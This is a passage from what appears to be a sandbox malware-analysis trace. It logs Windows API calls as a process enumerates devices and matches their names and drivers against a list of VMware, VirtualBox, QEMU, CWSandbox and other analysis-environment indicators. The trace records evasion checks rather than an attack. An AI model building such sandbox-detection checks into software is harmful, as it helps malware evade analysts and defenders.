(HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fab0 [0240.359] StrStrIA (lpFirst="USB Root Hub", lpSrch="Virtual HD") returned 0x0 [0240.359] lstrlenA (lpString="Virtual HD") returned 10 [0240.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0240.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261ffd0 [0240.359] StrStrIA (lpFirst="USB Root Hub", lpSrch="QEMU") returned 0x0 [0240.359] lstrlenA (lpString="QEMU") returned 4 [0240.359] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.359] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa68 [0240.359] StrStrIA (lpFirst="USB Root Hub", lpSrch="Red Hat VirtIO") returned 0x0 [0240.360] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0240.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0240.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261faf8 [0240.360] StrStrIA (lpFirst="USB Root Hub", lpSrch="srootkit") returned 0x0 [0240.360] lstrlenA (lpString="srootkit") returned 8 [0240.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0240.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb28 [0240.360] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware VMaudio") returned 0x0 [0240.360] lstrlenA (lpString="VMware VMaudio") returned 14 [0240.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0240.360] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb58 [0240.360] StrStrIA (lpFirst="USB Root Hub", lpSrch="VMware Vista") returned 0x0 [0240.360] lstrlenA (lpString="VMware Vista") returned 12 [0240.360] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0240.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0240.361] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxVideo") returned 0x0 [0240.361] lstrlenA (lpString="VBoxVideo") returned 9 [0240.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0240.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb40 [0240.361] StrStrIA (lpFirst="USB Root Hub", lpSrch="VBoxGuest") returned 0x0 [0240.361] lstrlenA (lpString="VBoxGuest") returned 9 [0240.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0240.361] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0240.361] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.361] GetLastError () returned 0x7a [0240.361] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb58 [0240.361] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb58, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb58, RequiredSize=0x19fe7c) returned 1 [0240.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261ffd0 [0240.362] StrStrIA (lpFirst="usbhub", lpSrch="vmxnet") returned 0x0 [0240.362] lstrlenA (lpString="vmxnet") returned 6 [0240.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261ffd0 [0240.362] StrStrIA (lpFirst="usbhub", lpSrch="vmscsi") returned 0x0 [0240.362] lstrlenA (lpString="vmscsi") returned 6 [0240.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261ffd0 [0240.362] StrStrIA (lpFirst="usbhub", lpSrch="VMAUDIO") returned 0x0 [0240.362] lstrlenA (lpString="VMAUDIO") returned 7 [0240.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261ffd0 [0240.362] StrStrIA (lpFirst="usbhub", lpSrch="vmdebug") returned 0x0 [0240.362] lstrlenA (lpString="vmdebug") returned 7 [0240.362] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.362] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261ffd0 [0240.363] StrStrIA (lpFirst="usbhub", lpSrch="vm3dmp") returned 0x0 [0240.363] lstrlenA (lpString="vm3dmp") returned 6 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb70 [0240.363] StrStrIA (lpFirst="usbhub", lpSrch="vmrawdsk") returned 0x0 [0240.363] lstrlenA (lpString="vmrawdsk") returned 8 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0240.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb70 [0240.363] StrStrIA (lpFirst="usbhub", lpSrch="vmx_svga") returned 0x0 [0240.363] lstrlenA (lpString="vmx_svga") returned 8 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0240.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261ffd0 [0240.363] StrStrIA (lpFirst="usbhub", lpSrch="ansfltr") returned 0x0 [0240.363] lstrlenA (lpString="ansfltr") returned 7 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261ffd0 [0240.363] StrStrIA (lpFirst="usbhub", lpSrch="sbtisht") returned 0x0 [0240.363] lstrlenA (lpString="sbtisht") returned 7 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.363] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0240.363] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x3, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0240.363] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.395] GetLastError () returned 0x7a [0240.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f700 [0240.395] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f700, RequiredSize=0x19fe7c) returned 1 [0240.402] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa68 [0240.402] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Pointing") returned 0x0 [0240.402] lstrlenA (lpString="VMware Pointing") returned 15 [0240.402] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0240.402] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f728 [0240.402] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Accelerated") returned 0x0 [0240.402] lstrlenA (lpString="VMware Accelerated") returned 18 [0240.402] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.402] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb70 [0240.402] StrStrIA (lpFirst="????? ??????", lpSrch="VMware SCSI") returned 0x0 [0240.402] lstrlenA (lpString="VMware SCSI") returned 11 [0240.403] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0240.403] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa68 [0240.403] StrStrIA (lpFirst="????? ??????", lpSrch="VMware SVGA") returned 0x0 [0240.403] lstrlenA (lpString="VMware SVGA") returned 11 [0240.403] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0240.403] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb28 [0240.403] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Replay") returned 0x0 [0240.403] lstrlenA (lpString="VMware Replay") returned 13 [0240.403] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0240.403] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f728 [0240.403] StrStrIA (lpFirst="????? ??????", lpSrch="VMware server memory") returned 0x0 [0240.403] lstrlenA (lpString="VMware server memory") returned 20 [0240.403] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.403] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa80 [0240.403] StrStrIA (lpFirst="????? ??????", lpSrch="CWSandbox") returned 0x0 [0240.403] lstrlenA (lpString="CWSandbox") returned 9 [0240.403] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.403] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa80 [0240.404] StrStrIA (lpFirst="????? ??????", lpSrch="Virtual HD") returned 0x0 [0240.404] lstrlenA (lpString="Virtual HD") returned 10 [0240.404] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.404] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261ffd0 [0240.404] StrStrIA (lpFirst="????? ??????", lpSrch="QEMU") returned 0x0 [0240.404] lstrlenA (lpString="QEMU") returned 4 [0240.404] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.404] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb10 [0240.404] StrStrIA (lpFirst="????? ??????", lpSrch="Red Hat VirtIO") returned 0x0 [0240.404] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0240.404] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0240.404] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261faf8 [0240.404] StrStrIA (lpFirst="????? ??????", lpSrch="srootkit") returned 0x0 [0240.404] lstrlenA (lpString="srootkit") returned 8 [0240.404] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0240.404] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa38 [0240.404] StrStrIA (lpFirst="????? ??????", lpSrch="VMware VMaudio") returned 0x0 [0240.405] lstrlenA (lpString="VMware VMaudio") returned 14 [0240.405] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0240.405] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa80 [0240.405] StrStrIA (lpFirst="????? ??????", lpSrch="VMware Vista") returned 0x0 [0240.405] lstrlenA (lpString="VMware Vista") returned 12 [0240.405] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.405] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa20 [0240.405] StrStrIA (lpFirst="????? ??????", lpSrch="VBoxVideo") returned 0x0 [0240.405] lstrlenA (lpString="VBoxVideo") returned 9 [0240.405] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0240.405] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f9f0 [0240.405] StrStrIA (lpFirst="????? ??????", lpSrch="VBoxGuest") returned 0x0 [0240.405] lstrlenA (lpString="VBoxGuest") returned 9 [0240.405] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0240.405] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0240.405] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.406] GetLastError () returned 0x7a [0240.406] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb28 [0240.406] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb28, PropertyBufferSize=0x7, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb28, RequiredSize=0x19fe7c) returned 1 [0240.407] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261ffd0 [0240.407] StrStrIA (lpFirst="volmgr", lpSrch="vmxnet") returned 0x0 [0240.407] lstrlenA (lpString="vmxnet") returned 6 [0240.407] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261ffd0 | out: hHeap=0x25a0000) returned 1 [0240.407] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f788 [0240.407] StrStrIA (lpFirst="volmgr", lpSrch="vmscsi") returned 0x0 [0240.407] lstrlenA (lpString="vmscsi") returned 6 [0240.407] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f788 | out: hHeap=0x25a0000) returned 1 [0240.407] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f778 [0240.407] StrStrIA (lpFirst="volmgr", lpSrch="VMAUDIO") returned 0x0 [0240.407] lstrlenA (lpString="VMAUDIO") returned 7 [0240.407] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f778 | out: hHeap=0x25a0000) returned 1 [0240.407] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f858 [0240.407] StrStrIA (lpFirst="volmgr", lpSrch="vmdebug") returned 0x0 [0240.407] lstrlenA (lpString="vmdebug") returned 7 [0240.407] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f858 | out: hHeap=0x25a0000) returned 1 [0240.407] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f878 [0240.407] StrStrIA (lpFirst="volmgr", lpSrch="vm3dmp") returned 0x0 [0240.408] lstrlenA (lpString="vm3dmp") returned 6 [0240.408] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f878 | out: hHeap=0x25a0000) returned 1 [0240.408] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fab0 [0240.408] StrStrIA (lpFirst="volmgr", lpSrch="vmrawdsk") returned 0x0 [0240.408] lstrlenA (lpString="vmrawdsk") returned 8 [0240.408] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0240.408] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fba0 [0240.408] StrStrIA (lpFirst="volmgr", lpSrch="vmx_svga") returned 0x0 [0240.408] lstrlenA (lpString="vmx_svga") returned 8 [0240.408] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0240.408] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f728 [0240.408] StrStrIA (lpFirst="volmgr", lpSrch="ansfltr") returned 0x0 [0240.408] lstrlenA (lpString="ansfltr") returned 7 [0240.408] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.408] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f858 [0240.408] StrStrIA (lpFirst="volmgr", lpSrch="sbtisht") returned 0x0 [0240.408] lstrlenA (lpString="sbtisht") returned 7 [0240.409] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f858 | out: hHeap=0x25a0000) returned 1 [0240.409] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0240.409] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x4, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0240.409] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.462] GetLastError () returned 0x7a [0240.462] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x74) returned 0x261f908 [0240.462] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x3a, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0240.511] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb40 [0240.511] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Pointing") returned 0x0 [0240.511] lstrlenA (lpString="VMware Pointing") returned 15 [0240.511] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0240.511] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f988 [0240.511] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Accelerated") returned 0x0 [0240.511] lstrlenA (lpString="VMware Accelerated") returned 18 [0240.511] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f988 | out: hHeap=0x25a0000) returned 1 [0240.511] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fbb8 [0240.511] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware SCSI") returned 0x0 [0240.511] lstrlenA (lpString="VMware SCSI") returned 11 [0240.511] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0240.511] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb10 [0240.511] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware SVGA") returned 0x0 [0240.512] lstrlenA (lpString="VMware SVGA") returned 11 [0240.512] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa50 [0240.512] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Replay") returned 0x0 [0240.512] lstrlenA (lpString="VMware Replay") returned 13 [0240.512] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f988 [0240.512] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware server memory") returned 0x0 [0240.512] lstrlenA (lpString="VMware server memory") returned 20 [0240.512] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f988 | out: hHeap=0x25a0000) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0240.512] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="CWSandbox") returned 0x0 [0240.512] lstrlenA (lpString="CWSandbox") returned 9 [0240.512] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fb28 [0240.512] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="Virtual HD") returned 0x0 [0240.512] lstrlenA (lpString="Virtual HD") returned 10 [0240.512] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0240.512] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7c8 [0240.512] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="QEMU") returned 0x0 [0240.513] lstrlenA (lpString="QEMU") returned 4 [0240.513] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7c8 | out: hHeap=0x25a0000) returned 1 [0240.513] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa08 [0240.513] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="Red Hat VirtIO") returned 0x0 [0240.513] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0240.513] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0240.513] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f9f0 [0240.513] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="srootkit") returned 0x0 [0240.513] lstrlenA (lpString="srootkit") returned 8 [0240.513] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0240.513] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa80 [0240.513] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware VMaudio") returned 0x0 [0240.513] lstrlenA (lpString="VMware VMaudio") returned 14 [0240.513] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0240.513] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa50 [0240.513] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VMware Vista") returned 0x0 [0240.513] lstrlenA (lpString="VMware Vista") returned 12 [0240.513] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0240.514] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fbb8 [0240.514] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VBoxVideo") returned 0x0 [0240.514] lstrlenA (lpString="VBoxVideo") returned 9 [0240.514] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0240.514] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261faf8 [0240.514] StrStrIA (lpFirst="Intel(R) ICH9 Family USB Universal Host Controller - 2934", lpSrch="VBoxGuest") returned 0x0 [0240.514] lstrlenA (lpString="VBoxGuest") returned 9 [0240.514] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0240.514] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0240.514] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.514] GetLastError () returned 0x7a [0240.514] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa98 [0240.514] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa98, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fa98, RequiredSize=0x19fe7c) returned 1 [0240.515] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f818 [0240.515] StrStrIA (lpFirst="usbuhci", lpSrch="vmxnet") returned 0x0 [0240.515] lstrlenA (lpString="vmxnet") returned 6 [0240.515] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f818 | out: hHeap=0x25a0000) returned 1 [0240.515] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f888 [0240.515] StrStrIA (lpFirst="usbuhci", lpSrch="vmscsi") returned 0x0 [0240.515] lstrlenA (lpString="vmscsi") returned 6 [0240.515] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0240.515] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7e8 [0240.515] StrStrIA (lpFirst="usbuhci", lpSrch="VMAUDIO") returned 0x0 [0240.515] lstrlenA (lpString="VMAUDIO") returned 7 [0240.515] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7e8 | out: hHeap=0x25a0000) returned 1 [0240.515] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7a8 [0240.516] StrStrIA (lpFirst="usbuhci", lpSrch="vmdebug") returned 0x0 [0240.516] lstrlenA (lpString="vmdebug") returned 7 [0240.516] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0240.516] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7b8 